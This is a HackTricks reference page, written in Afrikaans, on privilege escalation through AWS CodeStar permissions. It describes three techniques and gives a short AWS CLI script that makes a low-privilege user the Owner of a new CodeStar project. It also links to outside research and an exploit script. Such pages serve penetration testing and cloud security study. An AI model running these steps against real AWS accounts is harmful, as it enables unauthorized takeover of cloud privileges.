AWS - Codestar Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Codestar

Meer inligting oor codestar kan gevind word in:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Met hierdie toestemmings kan jy 'n codestar IAM Role misbruik om arbitrêre aksies uit te voer deur middel van 'n cloudformation-sjabloon. Kyk na die volgende bladsy:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Hierdie tegniek maak gebruik van codestar:CreateProject om 'n codestar-projek te skep, en codestar:AssociateTeamMember om 'n IAM-gebruiker die eienaar van 'n nuwe CodeStar-projek te maak, wat hulle 'n nuwe beleid met 'n paar ekstra toestemmings sal gee.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

As jy reeds 'n lid van die projek is, kan jy die toestemming codestar:UpdateTeamMember gebruik om jou rol na eienaar op te dateer in plaas van codestar:AssociateTeamMember.

Potensiële Impak: Privesc na die gegenereerde codestar-beleid. Jy kan 'n voorbeeld van daardie beleid vind in:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Skep 'n Nuwe Projek:

  • Gebruik die codestar:CreateProjectFromTemplate aksie om die skepping van 'n nuwe projek te begin.

  • Na suksesvolle skepping word toegang outomaties verleen vir cloudformation:UpdateStack.

  • Hierdie toegang is spesifiek gerig op 'n stapel wat verband hou met die CodeStarWorker-<generiese projeknaam>-CloudFormation IAM-rol.

  1. Dateer die Teikenstapel op:

  • Met die verleen CloudFormation-toestemmings, gaan voort om die gespesifiseerde stapel op te dateer.

  • Die naam van die stapel sal tipies voldoen aan een van twee patrone:

  • awscodestar-<generiese projeknaam>-infrastructure

  • awscodestar-<generiese projeknaam>-lambda

  • Die presiese naam hang af van die gekose sjabloon (verwys na die voorbeeld uitbuitingskrips).

  1. Toegang en Toestemmings:

  • Na die opdatering verkry jy die vermoëns wat aan die CloudFormation IAM-rol gekoppel is met die stapel.

  • Let op: Dit verskaf nie inherent volle administrateurbevoegdhede nie. Verdere verkeerd gekonfigureerde hulpbronne binne die omgewing mag vereis word om bevoegdhede verder te verhoog.

Vir meer inligting, kyk na die oorspronklike navorsing: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Jy kan die uitbuiting vind by https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potensiële Impak: Privesc na cloudformation IAM-rol.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated